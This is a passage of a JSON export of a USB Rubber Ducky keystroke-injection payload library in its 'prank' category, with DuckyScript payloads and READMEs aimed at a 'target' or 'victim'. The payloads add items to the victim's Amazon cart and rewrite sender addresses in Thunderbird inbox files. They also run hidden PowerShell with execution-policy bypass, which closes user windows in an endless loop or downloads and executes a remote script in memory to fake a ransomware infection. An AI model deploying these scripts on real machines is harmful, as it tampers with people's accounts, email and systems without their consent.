    "content": "So you left your computer unlocked...\r\n\r\nNot a good idea! It only takes a few seconds of access to your computer\r\ndownload, install, and execute code! For example, someone could use a tool\r\ncalled a USB Rubber Ducky (https://shop.hak5.org/products/usb-rubber-ducky)\r\nto quickly inject code into your PC... which somebody already did!\r\n\r\nIf you're seeing this, it means someone plugged a device into your computer\r\nand used a piece of code called PUBLIC_SERVICE_ANNOUNCEMENT\r\n(https://github.com/Lumen-git/RubberDucky-PublicServiceAnnouncement)\r\nto warn you of the dangers of leaving your computer unlocked in a public space! Now, 5 \r\nimages of Easter Eggs have been downloaded to your computer. I'll give you a hint, \r\nthe first is in \"My Documents\". \r\n\r\nJust think if someone downloaded a crypto miner! Or uploaded all your files\r\nto the internet! Stay safe, and protect your PC!\r\n\r\n\r\nComputer Safety Tips (see #6!!): https://security.berkeley.edu/resources/best-practices-how-to-articles/top-10-secure-computing-tips\r\nOther USB attacks that could have happened: https://www.bleepingcomputer.com/news/security/heres-a-list-of-29-different-types-of-usb-attacks/\r\n\r\n\r\nAlthough the code was written my Lumen, they do not suggest its use on targets\r\nwithout permission, nor do they hold any responsibility for its use.\r\n"
  },
  {
    "path": "payloads/library/prank/Physical_Rick_Roll/payload.txt",
    "content": "REM Title: Physical_Rick_Roll\nREM Author: the-jcksn\nREM Description: Adds a physical copy of \"The Best of Rick Astley\" CD to the target's Amazon shopping basket/cart.\nREM Target: Windows\nREM Version: 1.0\nREM Category: Prank\n\nREM Requires the target to be logged onto amazon with 'remember me' enabled - most people usually are...\nREM Currently configured for amazon.co.uk (British) - see the minor changes required below to use on amazon.com (American)\n\nDELAY 2000\nGUI r\nDELAY 200\n\nREM ########## THIS ITEM MAY GO OUT OF STOCK, IN WHICH CASE THE PAYLOAD WILL NOT WORK - CHANGE FOR ANOTHER ITEM'S URL IF NEEDED! ##########\n\nREM ########## FOR AMERICANS - CHANGE THIS FROM '.co.uk' TO 'com' ##########\nSTRING https://www.amazon.co.uk/Best-Rick-Astley/dp/B00MWPA39Y/ref=sr_1_7?crid=1DTB70Z2TNU5F&keywords=rick+astley+cd&qid=1650786996&sprefix=rick+astley+cd%2Caps%2C71&sr=8-7\n\nDELAY 200\nENTER\nDELAY 1800\nCTRL f\nDELAY 400\n\nREM ########## FOR AMERICANS - CHANGE THIS TO 'add to cart' ##########\nSTRING add to basket\n\nENTER\nDELAY 200\nESC\nDELAY 200\nTAB\nDELAY 200\nSHIFT TAB\nDELAY 200\nSPACE\nDELAY 600\nALT F4\n"
  },
  {
    "path": "payloads/library/prank/PlayASongThroughSpotify_Windows/README.md",
    "content": "# Play A Song Through Spotify\n\nA script used to prank friends by playing songs through spotify\n\n**Category**: Prank\n\n## Description\n\nA script used to prank friends by playing songs through Spotify. Open a PowerShell, run Spotify, do some TABs for search the song and then play it.\n\n**Some times** popups of advertisements may come out and usually they will click on the search screen, if you want you can uncomment line 42 (and the 43 for a DELAY) so that the popup closes but in case the popup does not click then the rest of the script will not work because escaping it takes it out of its scope.\n\n## Getting Started\n\n### Dependencies\n\n* Internet Connection\n* Spotify installed and user logged-in\n* ExecutionPolicy Bypass\n\n### Settings\n\n- Setup the SONG-NAME that you want to play\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/prank/PlayASongThroughSpotify_Windows/payload.txt",
    "content": "REM ##################################################\nREM #                                                |\nREM # Title        : Play A Song Through Spotify     |\nREM # Author       : Aleff                           |\nREM # Version      : 1.0                             |\nREM # Category     : Prank                           |\nREM # Target       : Windows 10-11                   |\nREM #                                                |\nREM ##################################################\n\n\nREM Requirements:\nREM     - Internet Connection\nREM     - Spotify installed and user logged-in\nREM     - ExecutionPolicy Bypass\n\n\nREM REQUIRED - Set your song name\nDEFINE SONG-NAME example\n\n\nDELAY 1000\nGUI r\nDELAY 1000\nSTRING powershell\nENTER\nDELAY 2000\n\nSTRINGLN Start-Process \"spotify://\"\nDELAY 5000\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nENTER\nDELAY 500\n\nREM Some times popups of advertisements may come out and usually they will click on the search screen, if you want you can uncomment line 42 so that the popup closes but in case the popup does not click then the rest of the script will not work because escaping it takes it out of its scope.\nREM ESCAPE\nREM DELAY 500\n\nSTRING SONG-NAME\nENTER\nDELAY 1000\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nENTER\nDELAY 500\nGUI m\n"
  },
  {
    "path": "payloads/library/prank/Prank_In_The_Middle_Thunderbird/README.md",
    "content": "# Prank In The Middle - Thunderbird\n\nThe name of the payload `Prank In The Middle` is named after the pun Prank + Man In The Middle in that this operation, in some ways, can remotely be configured as a MITM attack but since it was created specifically for playful purposes then here is the reason for the union with the word Prank.\n\n**Category**: Prank\n\n**Plug-And-Play** ^^\n\n## Index\n\n- [Description](#description)\n- [Requirements](#requirements)\n- [How the Program Works](#how-the-program-works)\n- [Code Details](#code-details)\n    - [System Detection && Short Start DELAY](#system-detection--short-start-delay)\n    - [Navigating in Thunderbird](#navigating-in-thunderbird)\n    - [Opening PowerShell and Email Manipulation](#opening-powershell-and-email-manipulation)\n    - [The Regex](#the-regex)\n- [Notes](#notes)\n- [Credits](#credits)\n\n## Description\n\nThis program automates a series of actions on a Windows system (*tested on Windows 10 but should works in Windows 11*) to manipulate the contents of emails found in a Thunderbird profile. Specifically, it identifies emails in the `INBOX` file of each configured email account and replaces the sender's email addresses with a fictitious address `Rick.Roll@tinyurl.com/prinkrollme` where `prinkrollme` is the union of the words `Prank`, `Rick Roll` and `Me` (*this one was necessary becouse prinkwoll era già stato preso* **:c** *so sad...* ) all compressed into the link `tinyurl.com/prinkrollme` ([*3° note*](#notes)) that redirect to the YouTube video `https://www.youtube.com/watch?v=xMHJGd3wwZk`.\n\n![](https://i.ibb.co/VJjfbkJ/1.png)\n\n## Requirements\n\n- A Windows system with Thunderbird installed.\n- Access to PowerShell.\n- Permissions to run code in Powershell\n\n## Test Environment\n\n- Thunderbird 115.11.1 (64 bit)\n- Windows 10 Pro\n\n## How the Program Works\n\n1. **System Detection:** The program detects if the system reflects the CAPSLOCK state and sets a dynamic delay based on this.\n2. **Opening Thunderbird:** Uses a series of commands to open Thunderbird and navigate to the profile folder settings.\n3. **Copying the Profile Folder Path:** Copies the profile folder path to the clipboard.\n4. **Opening PowerShell:** Opens a PowerShell window and navigates to the `ImapMail` folder of the Thunderbird profile.\n5. **Email Manipulation:** Uses PowerShell to:\n   - Find all `INBOX` folders within `ImapMail`.\n   - Read the contents of the emails in `INBOX`.\n   - Replace the sender addresses with `Rick Roll <Rick.Roll@tinyurl.com/prinkrollme>`.\n   - Save the modified content back to the original email files.\n\n## Code Details\n\n### System Detection && Short Start DELAY\n\n```plaintext\nEXTENSION DETECT_READY\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n    ...\n    DEFINE #RESPONSE_DELAY 25\n    DEFINE #ITERATION_LIMIT 120\n\n    VAR $C = 0\n    WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT))\n        CAPSLOCK\n        DELAY #RESPONSE_DELAY\n        $C = ($C + 1)\n    END_WHILE\n    CAPSLOCK\nEND_EXTENSION\n```\n\n### Navigating in Thunderbird\n\n```plaintext\nWIN r\nSTRING thunderbird\nENTER\nDELAY 1000\nREPEAT 4 TAB\nENTER\nDELAY 500\nREPEAT 2 UPARROW\nENTER\nDELAY 500\nREPEAT 3 UPARROW\nENTER\nDELAY 500\nREPEAT 11 TAB\nENTER\nDELAY 500\nREPEAT 4 TAB\nSPACEBAR\nENTER\nCTRL c\nALT F4\n```\n\n### Opening PowerShell and Email Manipulation\n\n```plaintext\nWIN r\nSTRING powershell\nENTER\nDELAY 1500\nSTRING cd \nCTRL v\nENTER\n\nSTRINGLN\n    cd ImapMail\n    $directories = Get-ChildItem -Directory | Select-Object FullName\n    foreach ($dir in $directories) {\n        $newPath = $dir.FullName -replace '\\\\', '/'\n        $newPath += \"/INBOX\"\n        if (Test-Path $newPath) {\n            $emails = Get-Content -Path $newPath -Raw\n            $modifiedEmails = $emails -replace \"From:\\s.*\\s<(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|`\"(?:[\\x01-\\x08\\x0b\\x0c\\x0e-\\x1f\\x21\\x23-\\x5b\\x5d-\\x7f]|\\\\[\\x01-\\x09\\x0b\\x0c\\x0e-\\x7f])*`\")@(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\\[(?:(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9]))\\.){3}(?:(2(5[0-5]|[0-4][0-9])|[1-9]?[0-9])|[a-z0-9-]*[a-z0-9]:(?:[\\x01-\\x08\\x0b\\x0c\\x0e-\\x1f\\x21-\\x5a\\x53-\\x7f]|\\\\[\\x01-\\x09\\x0b\\x0c\\x0e-\\x7f])+)\\])>\", \"From: Rick Roll <Rick.Roll@tinyurl.com/prinkrollme>\"\n            Set-Content -Path $newPath -Value $modifiedEmails -Force\n        }\n    }\nEND_STRINGLN\nDELAY 1000\nALT F4\n```\n\n### The Regex\n\nThe regex was not created from scratch but was taken from the discussion “[How can I validate an email address using a regular expression?](https://stackoverflow.com/questions/201323/how-can-i-validate-an-email-address-using-a-regular-expression)” posted on **StackOverflow**.\n\n```plaintext\n(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|`\"(?:[\\x01-\\x08\\x0b\\x0c\\x0e-\\x1f\\x21\\x23-\\x5b\\x5d-\\x7f]|\\\\[\\x01-\\x09\\x0b\\x0c\\x0e-\\x7f])*`\")@(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\\[(?:(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9]))\\.){3}(?:(2(5[0-5]|[0-4][0-9])|[1-9]?[0-9])|[a-z0-9-]*[a-z0-9]:(?:[\\x01-\\x08\\x0b\\x0c\\x0e-\\x1f\\x21-\\x5a\\x53-\\x7f]|\\\\[\\x01-\\x09\\x0b\\x0c\\x0e-\\x7f])+)\\])\n```\n\nThe only difference is the addition of `**From: <...>**` which reduces to just the email addresses that sent the emails and not all addresses detected in the file that might depict other references\n\n```plaintext\nFrom:\\s.*\\s<...>\n```\n\n## Notes\n\n1) This program was created for educational and demonstrative purposes. Unauthorized alteration of emails is illegal, and violating others' privacy is a crime.\n2) Ensure you have the necessary permissions before running any script that modifies personal or sensitive data.\n3) Considering [Staged Payloads](https://github.com/hak5/usbrubberducky-payloads?tab=readme-ov-file#staged-payloads), generally, it is not possible to include code that downloads from external sources. In this case, however, the setup involves a redirect to a YouTube video, which has been conveniently shortened using `tiny.url`. It is important to note that this redirect can be modified, and I strongly recommend changing it to a personal link for your security. While I assure you that I will never alter the link, no one can guarantee that I won't be compromised, allowing someone else to alter the redirect. It is always advisable and a good practice to never use links found online without understanding the actual redirect and replacing it with your own link.\n\n## Credits\n\n<h2 align=\"center\"><a href=\"https://aleff-gitlab.gitlab.io/\">Aleff</a></h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/prank/Prank_In_The_Middle_Thunderbird/payload.txt",
    "content": "REM #####################################################\nREM #                                     \t\t        #\nREM # Title       : Prank In The Middle - Thunderbird   #\nREM # Author      : Aleff                 \t\t        #\nREM # Version\t  : 1.0                   \t\t        #\nREM # Category\t  : Prank                 \t\t        #\nREM # Target\t  : Windows 10/11         \t\t        #\nREM #                                     \t\t        #\nREM #####################################################\n\nEXTENSION DETECT_READY\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n\n        TARGETS:\n            Any system that reflects CAPSLOCK will detect minimum required delay\n            Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #RESPONSE_DELAY 25\n    DEFINE #ITERATION_LIMIT 120\n\n    VAR $C = 0\n    WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT))\n        CAPSLOCK\n        DELAY #RESPONSE_DELAY\n        $C = ($C + 1)\n    END_WHILE\n    CAPSLOCK\nEND_EXTENSION\n\nREM Open Thunderbird and goto settings\nGUI r\nSTRING thunderbird\nENTER\nDELAY 1000\nREPEAT 4 TAB\nENTER\nDELAY 500\nREPEAT 2 UPARROW\nENTER\nDELAY 500\nREPEAT 3 UPARROW\nENTER\nDELAY 500\n\nREM Goto profile directory\nREPEAT 11 TAB\nENTER\nDELAY 500\n\nREM Copy the directory path\nREPEAT 4 TAB\nDELAY 500\nSPACE\nDELAY 500\nENTER\nDELAY 500\nCTRL c\nDELAY 500\nALT F4\nDELAY 500\n\nREM Open the powershell and goto the directory\nGUI r\nSTRING powershell\nENTER\nDELAY 1500\nSTRING cd \nDELAY 500\nCTRL v\nDELAY 500\nENTER\nDELAY 500\n\nREM Get the INBOX content and edit it overwriting. Then close the powershell\nSTRINGLN_POWERSHELL\n    cd ImapMail\n    $directories = Get-ChildItem -Directory | Select-Object FullName\n    foreach ($dir in $directories) {\n        # Replace backslashes with slash\n        $newPath = $dir.FullName -replace '\\\\', '/'\n        \n        # Add the sub-string '/INBOX' to the end\n        $newPath += \"/INBOX\"\n        \n        # Check whether the INBOX file exists\n        if (Test-Path $newPath) {\n            # Check whether the INBOX file exists\n            $emails = Get-Content -Path $newPath -Raw\n\n            # Replace email sender with Rick Roll!\n            # The following operation is simplified and assumes that the sender starts with 'From: ...'\n            # and does not contain complex MIME structures\n            $modifiedEmails = $emails -replace \"From:\\s.*\\s<(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|`\"(?:[\\x01-\\x08\\x0b\\x0c\\x0e-\\x1f\\x21\\x23-\\x5b\\x5d-\\x7f]|\\\\[\\x01-\\x09\\x0b\\x0c\\x0e-\\x7f])*`\")@(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\\[(?:(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9]))\\.){3}(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9])|[a-z0-9-]*[a-z0-9]:(?:[\\x01-\\x08\\x0b\\x0c\\x0e-\\x1f\\x21-\\x5a\\x53-\\x7f]|\\\\[\\x01-\\x09\\x0b\\x0c\\x0e-\\x7f])+)\\])>\", \"From: Rick Roll <Rick.Roll@tinyurl.com/prinkrollme>\"\n\n            # Write the modified content into the INBOX file.\n            Set-Content -Path $newPath -Value $modifiedEmails -Force\n        }\n    }\nEND_STRINGLN\nDELAY 1000\nALT F4\n"
  },
  {
    "path": "payloads/library/prank/ProcessTerminator/payload.txt",
    "content": "REM Title: ProcessTerminator\nREM Author: dsymbol\nREM Description: Hidden PowerShell script that tirelessly hunts down user processes and terminates them\nREM Target: Windows\n\nDELAY 2000\nGUI r\nDELAY 500\nSTRING powershell -w h -NoP -NonI -Exec Bypass while(1) {$ws=gps|?{$_.MainWindowHandle-ne 0};foreach($w in $ws){if($w.ProcessName-ne'explorer'-and$w.Id-ne$PID){$w.CloseMainWindow()}}sleep -Seconds 1}\nENTER"
  },
  {
    "path": "payloads/library/prank/QuacKed_Again/payload.txt",
    "content": "REM Title: QuacKed_Again\nREM Author: LulzAnarchyAnon\nREM Description: A Quack of a different flavor. This time a browser shortcut is created\nREM on the targets Desktop, and named mycloudbackup to peak the targets curiosity.\nREM It opens a browser image of my favorite Ducky, titled \" The Face You Make. \nREM When You Get Quacked\" A BIT OF SELF-QUACKING just for FUN!\nREM Target: Windows 10  \nREM Props: Darren Kitchen and Hak5\nREM Version: 1.0\nREM Category: Prank\n\n\nDELAY 100\nMOUSE CLICK 2\nDELAY 100\nDOWNARROW\nDELAY 100\nDOWNARROW\nDELAY 100\nDOWNARROW\nDELAY 100\nDOWNARROW\nDELAY 100\nDOWNARROW\nDELAY 100\nDOWNARROW\nDELAY 100\nDOWNARROW\nDELAY 100\nDOWNARROW\nDELAY 100\nENTER\nDELAY 100\nDOWNARROW\nDELAY 100\nENTER\nDELAY 100\nSTRING https://memegenerator.net/img/instances/81735469/the-face-you-make-when-you-get-quacked.jpg\nDELAY 100\nENTER\nDELAY 100\nSTRING mycloudbackup\nDELAY 100\nENTER\n"
  },
  {
    "path": "payloads/library/prank/Quack_Rolled/payload.txt",
    "content": "REM Title: Quack_Rolled\nREM Author: LulzAnarchyAnon\nREM Description: The first thing is volume is increased to 100%\nREM Afterwards Afterwards you get Rick Rolled Ducky Style.\nREM Target: Windows 10 PowerShell\nREM Props: Darren Kitchen and I am Jakoby\nREM Version: 1.0\nREM Category: Prank\n\nDELAY 500\nGUI r\nDELAY 500\nSTRING powershell -windowstyle hidden\nDELAY 500\nENTER\nDELAY 500\nSTRING Function Set-SoundVolume\nDELAY 500\nENTER\nSTRING {\nDELAY 500\nENTER\nSTRING Param(\nDELAY 500\nENTER\nSTRING [Parameter(Mandatory=$true)]\nDELAY 500\nENTER\nSTRING [ValidateRange(0,100)]\nDELAY 500\nENTER\nSTRING [Int]\nDELAY 500\nENTER\nSTRING $volume\nDELAY 500\nENTER\nSTRING )\nDELAY 500\nENTER\nDELAY 500\nSTRING $keyPresses = [Math]::Ceiling( $volume / 2 )\nDELAY 500\nENTER\nDELAY 500\nSTRING $obj = New-Object -ComObject WScript.Shell\nDELAY 500\nENTER\nDELAY 500\nSTRING 1..50 | ForEach-Object { $obj.SendKeys( [char] 174 ) }\nDELAY 500\nENTER\nSTRING for( $i = 0; $i -lt $keyPresses; $i++ )\nDELAY 500\nENTER\nSTRING {\nDELAY 500\nENTER\nSTRING $obj.SendKeys( [char] 175 )\nDELAY 500\nENTER\nSTRING }\nDELAY 500\nENTER\nSTRING }\nDELAY 500\nENTER\nSTRING New-Alias -Name \"ssv\" Set-SoundVolume\nDELAY 500\nENTER\nSTRING Set-SoundVolume 100\nDELAY 500\nENTER\nDELAY 1000\nSTRING exit\nDELAY 500\nENTER\nDELAY 2000\nGUI r\nDELAY 500\nSTRING cmd /c start https://www.youtube.com/watch?v=L_B5kYSTK_Y\nDELAY 500\nENTER\nDELAY 500\nTAB\nDELAY 500\nENTER\nDELAY 500\nTAB\nDELAY 500\nf\n"
  },
  {
    "path": "payloads/library/prank/RanFunWare/README.md",
    "content": "<img src=\"https://github.com/atomiczsec/My-Payloads/blob/main/Assets/WannaCry.png\" width=\"200\">\n\n<h1 align=\"center\">\n  <a href=\"https://git.io/typing-svg\">\n    <img src=\"https://readme-typing-svg.herokuapp.com/?lines=RanFunWare!+😈&center=true&size=30\">\n  </a>\n</h1>\n\n<!-- TABLE OF CONTENTS -->\n<details>\n  <summary>Table of Contents</summary>\n  <ol>\n    <li><a href=\"#Description\">Description</a></li>\n    <li><a href=\"#getting-started\">Getting Started</a></li>\n    <li><a href=\"#Contributing\">Contributing</a></li>\n    <li><a href=\"#Version-History\">Version History</a></li>\n    <li><a href=\"#Contact\">Contact</a></li>\n    <li><a href=\"#Acknowledgments\">Acknowledgments</a></li>\n  </ol>\n</details>\n\n# RanFunWare\n\nA payload to prank your friends into thinking their computer got hit with ransomware.\n\n## Description\n\nThis payload will hide all desktop icons, change the background, and have a message pop up (Fully Customizable)\n\n## Getting Started\n\n### Dependencies\n\n* DropBox or other file sharing service - Your Shared link for the intended file\n* Windows 10\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n### Executing program\n\n* Plug in your device\n* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory\n```\npowershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> ?dl=1; iex $pl\n```\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Contributing\n\nAll contributors names will be listed here\n\natomiczsec\n\nI am Jakoby\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Version History\n\n* 0.1\n    * Initial Release\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- CONTACT -->\n## Contact\n\n<h2 align=\"center\">📱 My Socials 📱</h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.youtube.com/channel/UC-7iJTFN8-CsTTuXd3Va6mA?sub_confirmation=1\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width=\"48\" height=\"48\" alt=\"C#\" />\n      </a>\n      <br>YouTube\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://twitter.com/atomiczsec\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width=\"48\" height=\"48\" alt=\"Python\" />\n      </a>\n      <br>Twitter\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://discord.gg/MYYER2ZcJF\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width=\"48\" height=\"48\" alt=\"Jsonnet\" />\n      </a>\n      <br>I-Am-Jakoby's Discord\n    </td>\n  </tr>\n</table>\n</div>\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- ACKNOWLEDGMENTS -->\n## Acknowledgments\n\n* [Hak5](https://hak5.org/)\n* [I-Am-Jakoby](https://github.com/I-Am-Jakoby)\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n"
  },
  {
    "path": "payloads/library/prank/RanFunWare/payload.txt",
    "content": "REM     Title: RanFunWare\r\n\r\nREM     Author: atomiczsec\r\n\r\nREM     Description: This payload will prank your target into thinking their machine got hit with ransomware.\r\n\r\nREM     Target: Windows 10\r\n\r\nDELAY 2000\r\nGUI r\r\nDELAY 500\r\nSTRING powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> dl=1; iex $pl\r\nENTER\r\n\r\nREM     Remember to replace the link with your DropBox shared link for the intended file to download\r\nREM     Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properlymode con:cols=14 lines=1"
  },
  {
    "path": "payloads/library/prank/RanFunWare/r.ps1",
    "content": "#Hides Desktop Icons\r\n$Path=\"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\"\r\nSet-ItemProperty -Path $Path -Name \"HideIcons\" -Value 1\r\nGet-Process \"explorer\"| Stop-Process\r\n\r\n#Changes Background  \r\n#URL For the Image of your choice (Wanna Cry Ransomware Background)\r\n$url = \"https://c4.wallpaperflare.com/wallpaper/553/61/171/5k-black-hd-mockup-wallpaper-preview.jpg\"\r\n\r\n\r\nInvoke-WebRequest $url -OutFile C:\\temp\\test.jpg\r\n\r\n\r\n$setwallpapersrc = @\"\r\nusing System.Runtime.InteropServices;\r\n\r\npublic class Wallpaper\r\n{\r\n  public const int SetDesktopWallpaper = 20;\r\n  public const int UpdateIniFile = 0x01;\r\n  public const int SendWinIniChange = 0x02;\r\n  [DllImport(\"user32.dll\", SetLastError = true, CharSet = CharSet.Auto)]\r\n  private static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);\r\n  public static void SetWallpaper(string path)\r\n  {\r\n    SystemParametersInfo(SetDesktopWallpaper, 0, path, UpdateIniFile | SendWinIniChange);\r\n  }\r\n}\r\n\"@\r\nAdd-Type -TypeDefinition $setwallpapersrc\r\n\r\n[Wallpaper]::SetWallpaper(\"C:\\temp\\test.jpg\")\r\n\r\n\r\n#Pop Up Message\r\n\r\nfunction MsgBox {\r\n\r\n[CmdletBinding()]\r\nparam (\t\r\n[Parameter (Mandatory = $True)]\r\n[Alias(\"m\")]\r\n[string]$message,\r\n\r\n[Parameter (Mandatory = $False)]\r\n[Alias(\"t\")]\r\n[string]$title,\r\n\r\n[Parameter (Mandatory = $False)]\r\n[Alias(\"b\")]\r\n[ValidateSet('OK','OKCancel','YesNoCancel','YesNo')]\r\n[string]$button,\r\n\r\n[Parameter (Mandatory = $False)]\r\n[Alias(\"i\")]\r\n[ValidateSet('None','Hand','Question','Warning','Asterisk')]\r\n[string]$image\r\n)\r\n\r\nAdd-Type -AssemblyName PresentationCore,PresentationFramework\r\n\r\nif (!$title) {$title = \" \"}\r\nif (!$button) {$button = \"OK\"}\r\nif (!$image) {$image = \"None\"}\r\n\r\n[System.Windows.MessageBox]::Show($message,$title,$button,$image)\r\n\r\n}\r\n\r\nMsgBox -m 'Your Computer Has Been Infected' -t \"Warning\" -b OKCancel -i Warning\r\n"
  },
  {
    "path": "payloads/library/prank/Resolution_Prank/README.md",
    "content": "# Resolution Prank\n\nThis payload will go into windows based systems and change the resolution of the victim to the lowest possible setting. When finished, the LED will flash red and green, and at that point if you hit CAPS it will reset the monitor to the highest resolution allowed.\n\n### Somewhat resource dependent, may not work on older computers\n"
  },
  {
    "path": "payloads/library/prank/Resolution_Prank/payload.txt",
    "content": "REM TITLE Resolution Prank\nREM AUTHOR Mavisinator30001\nREM TARGET Any system running Windows 10/11\nREM DESCRIPTION Goes into Windows settings and change the screen resolution. When finished, toggle caps to change display back\nEXTENSION PASSIVE_WINDOWS_DETECT\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        Windows fully passive OS Detection and passive Detect Ready\n        Includes its own passive detect ready.\n        Does not require additional extensions.\n\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n            $_OS will be set to WINDOWS or NOT_WINDOWS\n            See end of payload for usage within payload\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #MAX_WAIT 150\n    DEFINE #CHECK_INTERVAL 20\n    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE #NOT_WINDOWS 7\n\n    $_OS = #NOT_WINDOWS\n\n    VAR $MAX_TRIES = #MAX_WAIT\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\n        DELAY #CHECK_INTERVAL\n        $MAX_TRIES = ($MAX_TRIES - 1)\n    END_WHILE\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN\n        $_OS = WINDOWS\n    END_IF\n\n    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION\n        IF ($_OS == WINDOWS) THEN\n            STRING HELLO WINDOWS!\n        ELSE\n            STRING HELLO WORLD!\n        END_IF\n    END_REM\nEND_EXTENSION\nIF $_OS != WINDOWS\n    STOP_PAYLOAD\nEND_IF\nLED_G\nDELAY 500\nCTRL GUI d\nDELAY 500\nGUI i\nDELAY 2000\nSTRINGLN display\nDELAY 2500\nTAB\nENTER\nDELAY 200\nREPEAT 8 TAB\nENTER\nVAR $CAPS_STATE = $_CAPSLOCK_ON\nWHILE ($CAPS_STATE == $_CAPSLOCK_ON)\nHOLD DOWN\nDELAY 1000\n    RELEASE DOWN\n    ENTER\n    DELAY 200\n    LEFT\n    DELAY 200\n    ENTER\n\n    REM WHEN FINISHED WITH THE FIRST PART OF THE PAYLOAD DUCK WILL FLASH LED\n    VAR $LIGHT_UP_TIMES = 20\n    WHILE ($LIGHT_UP_TIMES > 0)\n        LED_G\n        DELAY 300\n        LED_OFF\n        DELAY 300\n        LED_R\n        DELAY 300\n        LED_OFF\n        DELAY 300\n        $LIGHT_UP_TIMES = $LIGHT_UP_TIMES - 1\n    END_WHILE\n    WAIT_FOR_CAPS_CHANGE\nEND_WHILE\nDELAY 300\nREPEAT 12 TAB\nENTER\nDELAY 200\nHOLD UP\nDELAY 1000\nRELEASE UP\nENTER\nDELAY 200\nLEFT\nENTER\nDELAY 1000\nALT F4\nDELAY 200\nCTRL GUI F4\n"
  },
  {
    "path": "payloads/library/prank/RickRoll_ASCII/ReadMe.md",
